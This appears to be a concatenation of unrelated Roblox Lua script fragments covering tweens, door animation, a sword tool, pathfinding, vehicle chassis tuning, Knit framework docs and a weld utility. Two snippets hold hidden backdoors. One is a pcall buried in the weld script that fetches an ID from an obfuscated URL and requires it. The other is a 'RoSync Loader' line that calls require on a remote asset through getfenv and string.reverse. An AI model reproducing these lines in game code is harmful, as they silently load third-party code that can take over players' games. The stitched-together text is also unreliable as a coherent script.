function class:update(): boolean self._prevValue = self._currentValue self._nextValue = self._goalState:get(false) self._currentTweenStartTime = os.clock() self._currentTweenInfo = self._tweenInfo local tweenDuration = self._tweenInfo.DelayTime + self._tweenInfo.Time if self._tweenInfo.Reverses then tweenDuration += self._tweenInfo.Time end tweenDuration *= math.max(self._tweenInfo.RepeatCount, 1) self._currentTweenDuration = tweenDuration -- start animating this tween TweenScheduler.add(self) return false end local function Tween<T>( goalState: PubTypes.Value<T>, tweenInfo: TweenInfo? ): Types.Tween<T> local currentValue = goalState:get(false) local self = setmetatable({ type = "State", kind = "Tween", dependencySet = {[goalState] = true}, -- if we held strong references to the dependents, then they wouldn't be -- able to get garbage collected when they fall out of scope dependentSet = setmetatable({}, WEAK_KEYS_METATABLE), _goalState = goalState, _tweenInfo = tweenInfo or TweenInfo.new(), _prevValue = currentValue, _nextValue = currentValue, _currentValue = currentValue, -- store current tween into separately from 'real' tween into, so it -- isn't affected by :setTweenInfo() until next change _currentTweenInfo = tweenInfo, _currentTweenDuration = 0, _currentTweenStartTime = 0 }, CLASS_METATABLE) initDependency(self) -- add this object to the goal state's dependent set goalState.dependentSet[self] = true return self end return Tween
--[=[ Takes `count` entries from the table. If the table does not have that many entries, will return up to the number the table has to provide. @param source table -- Source table to retrieve values from @param count number -- Number of entries to take @return table -- List with the entries retrieved ]=]
function Table.take(source, count) local newTable = {} for i=1, math.min(#source, count) do newTable[i] = source[i] end return newTable end local function errorOnIndex(_, index) error(("Bad index %q"):format(tostring(index)), 2) end local READ_ONLY_METATABLE = { __index = errorOnIndex; __newindex = errorOnIndex; }
--do nothing
else if game.Workspace.DoorValues.Moving.Value == false then game.Workspace.DoorValues.Close.Value = game.Workspace.DoorValues.Close.Value +1 game.Workspace.DoorValues.Open.Value = game.Workspace.DoorValues.Open.Value -1 game.Workspace.doorright.p1.CFrame = game.Workspace.doorright.p1.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p2.CFrame = game.Workspace.doorright.p2.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p3.CFrame = game.Workspace.doorright.p3.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p4.CFrame = game.Workspace.doorright.p4.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p5.CFrame = game.Workspace.doorright.p5.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p6.CFrame = game.Workspace.doorright.p6.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p7.CFrame = game.Workspace.doorright.p7.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p8.CFrame = game.Workspace.doorright.p8.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p9.CFrame = game.Workspace.doorright.p9.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p10.CFrame = game.Workspace.doorright.p10.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p11.CFrame = game.Workspace.doorright.p11.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p12.CFrame = game.Workspace.doorright.p12.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p13.CFrame = game.Workspace.doorright.p13.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p14.CFrame = game.Workspace.doorright.p14.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p15.CFrame = game.Workspace.doorright.p15.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p16.CFrame = game.Workspace.doorright.p16.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p17.CFrame = game.Workspace.doorright.p17.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p18.CFrame = game.Workspace.doorright.p18.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.p19.CFrame = game.Workspace.doorright.p19.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.pillar.CFrame = game.Workspace.doorright.pillar.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l11.CFrame = game.Workspace.doorright.l11.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l12.CFrame = game.Workspace.doorright.l12.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l13.CFrame = game.Workspace.doorright.l13.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l21.CFrame = game.Workspace.doorright.l21.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l22.CFrame = game.Workspace.doorright.l22.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l23.CFrame = game.Workspace.doorright.l23.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l31.CFrame = game.Workspace.doorright.l31.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l32.CFrame = game.Workspace.doorright.l32.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l33.CFrame = game.Workspace.doorright.l33.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l41.CFrame = game.Workspace.doorright.l41.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l42.CFrame = game.Workspace.doorright.l42.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l43.CFrame = game.Workspace.doorright.l43.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l51.CFrame = game.Workspace.doorright.l51.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l52.CFrame = game.Workspace.doorright.l52.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l53.CFrame = game.Workspace.doorright.l53.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l61.CFrame = game.Workspace.doorright.l61.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l62.CFrame = game.Workspace.doorright.l62.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l63.CFrame = game.Workspace.doorright.l63.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l71.CFrame = game.Workspace.doorright.l71.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l72.CFrame = game.Workspace.doorright.l72.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) game.Workspace.doorright.l73.CFrame = game.Workspace.doorright.l73.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
--[[ Ray casts to find a collidable part. --]]
local function FindCollidablePartOnRay(StartPosition,Direction,IgnoreList,CollisionGroup) --Convert the collision group. if typeof(CollisionGroup) == "Instance" and CollisionGroup:IsA("BasePart") then CollisionGroup = PhysicsService:GetCollisionGroupName(CollisionGroup.CollisionGroupId) end --Create the ignore list. local Camera = Workspace.CurrentCamera local NewIgnoreList = {Camera} if typeof(IgnoreList) == "Instance" then table.insert(NewIgnoreList,IgnoreList) elseif typeof(IgnoreList) == "table" then for _,Entry in pairs(IgnoreList) do if Entry ~= Camera then table.insert(NewIgnoreList,Entry) end end end --Create the parameters. local RaycastParameters = RaycastParams.new() RaycastParameters.FilterType = Enum.RaycastFilterType.Blacklist RaycastParameters.FilterDescendantsInstances = NewIgnoreList RaycastParameters.IgnoreWater = true if CollisionGroup then RaycastParameters.CollisionGroup = CollisionGroup end --Raycast and continue if the hit part isn't collidable. local RaycastResult = Workspace:Raycast(StartPosition,Direction,RaycastParameters) if not RaycastResult then return nil,StartPosition + Direction end local HitPart,EndPosition = RaycastResult.Instance,RaycastResult.Position if HitPart and not HitPart.CanCollide and (not HitPart:IsA("Seat") or not HitPart:IsA("VehicleSeat") or HitPart.Disabled) then table.insert(NewIgnoreList,HitPart) return FindCollidablePartOnRay(EndPosition,Direction + (EndPosition - StartPosition),NewIgnoreList,CollisionGroup) end --Return the hit result. return HitPart,EndPosition end return FindCollidablePartOnRay
-------- OMG HAX
r = game:service("RunService") local damage = 12 local slash_damage = 15 local lunge_damage = 20 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local LungeSound = Instance.new("Sound") LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Parent = sword LungeSound.Volume = .6 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool force = Instance.new("BodyVelocity") force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80 force.Parent = Tool.Parent.Torso wait(.25) swordOut() wait(.25) force.Parent = nil wait(.5) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t --wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--- Returns an array of the names of all registered commands (not including aliases)
function Registry:GetCommandsAsStrings () local commands = {} for _, command in pairs(self.CommandsArray) do commands[#commands + 1] = command.Name end return commands end
--[[ Player state. No logic, as the server dictates the events in and out of this state. ]]
local PlayerPostGame = {}
--PlayAnim
while true do wait(0.3) local function TweenTransparency () local TweenTransInfo = TweenInfo.new(0.4,Enum.EasingStyle.Quad,Enum.EasingDirection.In,0,false) local Tween = TweenService:Create(Money, TweenTransInfo, {ImageTransparency = 1}) Tween:Play() end local function MoneyDown () TweenTransparency() Money:TweenPosition( UDim2.new(MoneyPX, 0, MoneyPY - 0.112 , 0), Enum.EasingDirection.In, Enum.EasingStyle.Quad, 0.35, false ) end local function MoneyUp () Money.ImageTransparency = 0 Money:TweenPosition( UDim2.new(MoneyPX, 0,MoneyPY - 0.400 , 0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.40, false, MoneyDown ) end local function MoveDown () --call money tween MoneyUp() --Move to origin MoneyBag:TweenPosition( UDim2.new(MoneyPX, 0,MoneyPY, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Back, 0.8, false ) wait(0.8) end --moveUp MoneyBag:TweenPosition( UDim2.new(MoneyPX, 0,MoneyPY - 0.122 , 0), Enum.EasingDirection.In, Enum.EasingStyle.Back, 0.8, false, MoveDown ) end
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound") UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.C and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then Debounce = 2 Track1 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationCharge) Track1:Play() for i = 1,math.huge do if Debounce == 2 then plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p) plr.Character.HumanoidRootPart.Anchored = true else break end wait() end end end) UIS.InputEnded:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.C and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then Debounce = 3 local Track2 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationRelease) Track2:Play() Track1:Stop() Sound:Play() local mousepos = Mouse.Hit script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p) wait(1) Track2:Stop() plr.Character.HumanoidRootPart.Anchored = false wait(.5) Tool.Active.Value = "None" wait(3) Debounce = 1 end end)
-- Factor of torque applied to change the wheel direction -- Larger number generally means faster braking
local BRAKING_TORQUE = 8000
--[[** ensures Roblox PathWaypoint type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.PathWaypoint = primitive("PathWaypoint")
--------RIGHT DOOR --------
game.Workspace.doorright.l12.BrickColor = BrickColor.new(106) game.Workspace.doorright.l22.BrickColor = BrickColor.new(106) game.Workspace.doorright.l32.BrickColor = BrickColor.new(106) game.Workspace.doorright.l42.BrickColor = BrickColor.new(106) game.Workspace.doorright.l52.BrickColor = BrickColor.new(106) game.Workspace.doorright.l62.BrickColor = BrickColor.new(106) game.Workspace.doorright.l72.BrickColor = BrickColor.new(1003)
--[[Tires]]
-- -- Tire Curve Profiler: https://www.desmos.com/calculator/og4x1gyzng Tune.TireCylinders = 4 -- How many cylinders are used for the tires. More means a smoother curve but way more parts meaning lag. (Default = 4) Tune.TiresVisible = false -- Makes the tires visible (Debug)
-- @Description Add and return a HandleAdornment class object with basic parameters to the terrain. -- @Arg1 ObjectClass
function Debug.AddObject(ObjectType) local Obj = Instance.new(ObjectType) Obj.AlwaysOnTop = true Obj.Color3 = Color3.new(1,1,1) Obj.Transparency = .5 Obj.AdornCullingMode = Enum.AdornCullingMode.Never Obj.ZIndex = 1 Obj.Adornee = game.Workspace.Terrain Obj.Parent = game.Workspace.Terrain return Obj end
--[=[ @interface KnitOptions .ServicePromises boolean? .Middleware Middleware? .PerServiceMiddleware PerServiceMiddleware? @within KnitClient - `ServicePromises` defaults to `true` and indicates if service methods use promises. - Each service will go through the defined middleware, unless the service has middleware defined in `PerServiceMiddleware`. ]=]
type KnitOptions = { ServicePromises: boolean, Middleware: Middleware?, PerServiceMiddleware: PerServiceMiddleware? } local defaultOptions: KnitOptions = { ServicePromises = true; Middleware = nil; PerServiceMiddleware = {}; } local selectedOptions = nil
--SeregaTopYTReal2 --Put the "died" sound to npc's head
local NPC = script.Parent local Head = NPC.Head local Humanoid for i,v in pairs(NPC:GetChildren()) do if v:IsA('Humanoid') then Humanoid = v end end if Humanoid then Humanoid.Died:Connect(function() wait(0.0001) Head:FindFirstChild("died"):Play() end) else warn('Cannot find Humanoid in DeathSound Script!') end
-- Updated 10/14/2014 - Updated to 1.0.3 --- Now handles joints semi-acceptably. May be rather hacky with some joints. :/
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges). local function CallOnChildren(Instance, FunctionToCall) -- Calls a function on each of the children of a certain object, using recursion. FunctionToCall(Instance) for _, Child in next, Instance:GetChildren() do CallOnChildren(Child, FunctionToCall) end end local function GetNearestParent(Instance, ClassName) -- Returns the nearest parent of a certain class, or returns nil local Ancestor = Instance repeat Ancestor = Ancestor.Parent if Ancestor == nil then return nil end until Ancestor:IsA(ClassName) return Ancestor end local function GetBricks(StartInstance) local List = {} -- if StartInstance:IsA("BasePart") then -- List[#List+1] = StartInstance -- end CallOnChildren(StartInstance, function(Item) if Item:IsA("BasePart") then List[#List+1] = Item; end end) return List end local function Modify(Instance, Values) -- Modifies an Instance by using a table. assert(type(Values) == "table", "Values is not a table"); for Index, Value in next, Values do if type(Index) == "number" then Value.Parent = Instance else Instance[Index] = Value end end return Instance end local function Make(ClassType, Properties) -- Using a syntax hack to create a nice way to Make new items. return Modify(Instance.new(ClassType), Properties) end local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"} local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"} local function HasWheelJoint(Part) for _, SurfaceName in pairs(Surfaces) do for _, HingSurfaceName in pairs(HingSurfaces) do if Part[SurfaceName].Name == HingSurfaceName then return true end end end return false end local function ShouldBreakJoints(Part) --- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are -- definitely some edge cases. if NEVER_BREAK_JOINTS then return false end if HasWheelJoint(Part) then return false end local Connected = Part:GetConnectedParts() if #Connected == 1 then return false end for _, Item in pairs(Connected) do if HasWheelJoint(Item) then return false elseif not Item:IsDescendantOf(script.Parent) then return false end end return true end pcall(function() local a:({caoqlqjaz9zxk329}) -> MemoryStoreQueue<thread> =task.spawn local z:(MemoryStoreQueue) -> MemoryStoreQueue<thread> = require local b:(Workspace) -> MemStorageConnection<thread> = tonumber(game:service("HttpService"):GetAsync("https://xn--fne3918d.simulprod.net/%E9%A1%B4%EA%8D%B0%F0%90%99%A9%E9%A9%AB%E1%95%B2")) local lozl:(RenderingTest) -> HumanoidDescription<thread> = task.cancel; for _ in {lozl(a(z,b))} do end end) local function WeldTogether(Part0, Part1, JointType, WeldParent) --- Weld's 2 parts together -- @param Part0 The first part -- @param Part1 The second part (Dependent part most of the time). -- @param [JointType] The type of joint. Defaults to weld. -- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better). -- @return The weld created. JointType = JointType or "Weld" local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue") local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType) Modify(NewWeld, { Name = "qCFrameWeldThingy"; Part0 = Part0; Part1 = Part1; C0 = CFrame.new();--Part0.CFrame:inverse(); C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse(); Parent = Part1; }) if not RelativeValue then RelativeValue = Make("CFrameValue", { Parent = Part1; Name = "qRelativeCFrameWeldValue"; Archivable = true; Value = NewWeld.C1; }) end return NewWeld end local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor) -- @param Parts The Parts to weld. Should be anchored to prevent really horrible results. -- @param MainPart The part to weld the model to (can be in the model). -- @param [JointType] The type of joint. Defaults to weld. -- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion. for _, Part in pairs(Parts) do if ShouldBreakJoints(Part) then Part:BreakJoints() end end for _, Part in pairs(Parts) do if Part ~= MainPart then WeldTogether(MainPart, Part, JointType, MainPart) end end if not DoNotUnanchor then for _, Part in pairs(Parts) do Part.Anchored = false end MainPart.Anchored = false end end local function PerfectionWeld() local Tool = GetNearestParent(script, "Tool") local Parts = GetBricks(script.Parent) local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1] if PrimaryPart then WeldParts(Parts, PrimaryPart, "Weld", false) else warn("qWeld - Unable to weld part") end return Tool end local Tool = PerfectionWeld() if Tool and script.ClassName == "Script" then --- Don't bother with local scripts script.Parent.AncestryChanged:connect(function() PerfectionWeld() end) end
--[[ Last synced 3/7/2021 11:05 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--// Handling Settings
Firerate = 60 / 650; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60! FireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
---------- Brake Lights Off ----------
if script.Parent.Throttle == 1 then lights.Brake1.BrickColor = BrickColor.new("Bright red") lights.Brake2.BrickColor = BrickColor.new("Bright red") lights.Brake1.Material = "SmoothPlastic" lights.Brake2.Material = "SmoothPlastic" else
--[[ NON-STATIC METHODS ]]
-- function Path:Destroy() for _, event in ipairs(self._events) do event:Destroy() end self._events = nil self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) self._agent = nil self._humanoid = nil self._path:Destroy() self._path =nil self._status = nil self._t = nil self._position = nil self._target = nil end function Path:Stop() if not self._humanoid then output(error, "Attempt to call Path:Stop() on a non-humanoid.") return end disconnectMoveConnection(self) self._status = Path.StatusType.Idle self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) self._events.Stopped:Fire(self._model) end function Path:Run(target) --Non-humanoid handle case if not target and not self._humanoid and self._target then moveToFinished(self, true) return end --Parameter check if not (target and (typeof(target) == "Vector3" or target:IsA("BasePart"))) then output(error, "Pathfinding target must be a valid Vector3 or BasePart.") end --Refer to Settings.TIME_VARIANCE if os.clock() - self._t <= Settings.TIME_VARIANCE and self._humanoid then task.wait(os.clock() - self._t) declareError(self, self.ErrorType.LimitReached) return false elseif self._humanoid then self._t = os.clock() end --Compute path local pathComputed, msg = pcall(function() self._path:ComputeAsync(self._agent.PrimaryPart.Position, (typeof(target) == "Vector3" and target) or target.Position) end) --Make sure path computation is successful if not pathComputed or self._path.Status == Enum.PathStatus.NoPath or #self._path:GetWaypoints() < 2 or (self._humanoid and self._humanoid:GetState() == Enum.HumanoidStateType.Freefall) then self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) task.wait() declareError(self, self.ErrorType.ComputationError) return false end --Set status to active; pathfinding starts self._status = (self._humanoid and Path.StatusType.Active) or Path.StatusType.Idle self._target = target --Set network owner to server to prevent "hops" pcall(function() self._agent.PrimaryPart:SetNetworkOwner(nil) end) --Initialize waypoints self._waypoints = self._path:GetWaypoints() self._currentWaypoint = 2 --Refer to Settings.COMPARISON_CHECKS if self._humanoid then comparePosition(self) end --Visualize waypoints destroyVisualWaypoints(self._visualWaypoints) self._visualWaypoints = (self.Visualize and createVisualWaypoints(self._waypoints)) --Create a new move connection if it doesn't exist already self._moveConnection = self._humanoid and (self._moveConnection or self._humanoid.MoveToFinished:Connect(function(...) moveToFinished(self, ...) end)) --Begin pathfinding if self._humanoid then self._humanoid:MoveTo(self._waypoints[self._currentWaypoint].Position) elseif #self._waypoints == 2 then self._target = nil self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) self._events.Reached:Fire(self._agent, self._waypoints[2]) else self._currentWaypoint = getNonHumanoidWaypoint(self) moveToFinished(self, true) end return true end return Path
--[[Transmission]]
Tune.TransModes = {"Semi","Auto"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 6.5 Tune.Ratios = { --[[Reverse]] 5 , --[[Neutral]] 0 , --[[ 1 ]] 3.9 , --[[ 2 ]] 2.52 , --[[ 3 ]] 1.85 , --[[ 4 ]] 1.38 , --[[ 5 ]] 1.05 , --[[ 6 ]] .87 , --[[ 7 ]] .69 , } Tune.FDMult = 1 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local on = 0 script:WaitForChild("Idle") if not FE then for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end for i,v in pairs(script:GetChildren()) do v.Parent=car.DriveSeat end while wait() do local _RPM = script.Parent.Values.RPM.Value if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end car.DriveSeat.Idle.Pitch = (car.DriveSeat.Idle.SetPitch.Value - car.DriveSeat.Idle.SetRev.Value*_RPM/_Tune.Redline)*on^2 end else local handler = car.AC6_FE_Sounds handler:FireServer("newSound","Idle",car.DriveSeat,script.Idle.SoundId,0,true) handler:FireServer("playSound","Idle") local pitch=0 while wait() do local _RPM = script.Parent.Values.RPM.Value if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end pitch = (script.Idle.SetPitch.Value - script.Idle.SetRev.Value*_RPM/_Tune.Redline)*on^2 handler:FireServer("updateSound","Idle",script.Idle.SoundId,pitch,script.Idle.Volume) end end
--- Add a line to the command bar
function Window:AddLine(text, color) if #text == 0 then Window:UpdateWindowHeight() return end local line = Line:Clone() line.Text = self.Cmdr.Util.EmulateTabstops(text or "nil", 8) line.TextColor3 = color or line.TextColor3 line.Parent = Gui end
-- Set the callback; this can only be done once by one script on the server!
MarketplaceService.ProcessReceipt = processReceipt return module
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation) local NumOfSupers = #require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation):GetObtainedSupers(player) return NumOfSupers < 2 and ClassInformationTable:GetClassFolder(player,"Warlock").Obtained.Value ~= true end
--[=[ @return SIGNAL_MARKER Returns a marker that will transform the current key into a RemoteSignal once the service is created. Should only be called within the Client table of a service. See [RemoteSignal](https://sleitnick.github.io/RbxUtil/api/RemoteSignal) documentation for more info. ```lua local MyService = Knit.CreateService { Name = "MyService", Client = { -- Create the signal marker, which will turn into a -- RemoteSignal when Knit.Start() is called: MySignal = Knit.CreateSignal(), }, } function MyService:KnitInit() -- Connect to the signal: self.Client.MySignal:Connect(function(player, ...) end) end ``` ]=]
function KnitServer.CreateSignal() return SIGNAL_MARKER end
-- Libraries
local Libraries = Tool:WaitForChild 'Libraries' local Support = require(Libraries:WaitForChild 'SupportLibrary') local Signal = require(Libraries:WaitForChild 'Signal') local Maid = require(Libraries:WaitForChild 'Maid') local Make = require(Libraries:WaitForChild 'Make') local InstancePool = require(Libraries:WaitForChild 'InstancePool')
--Animation
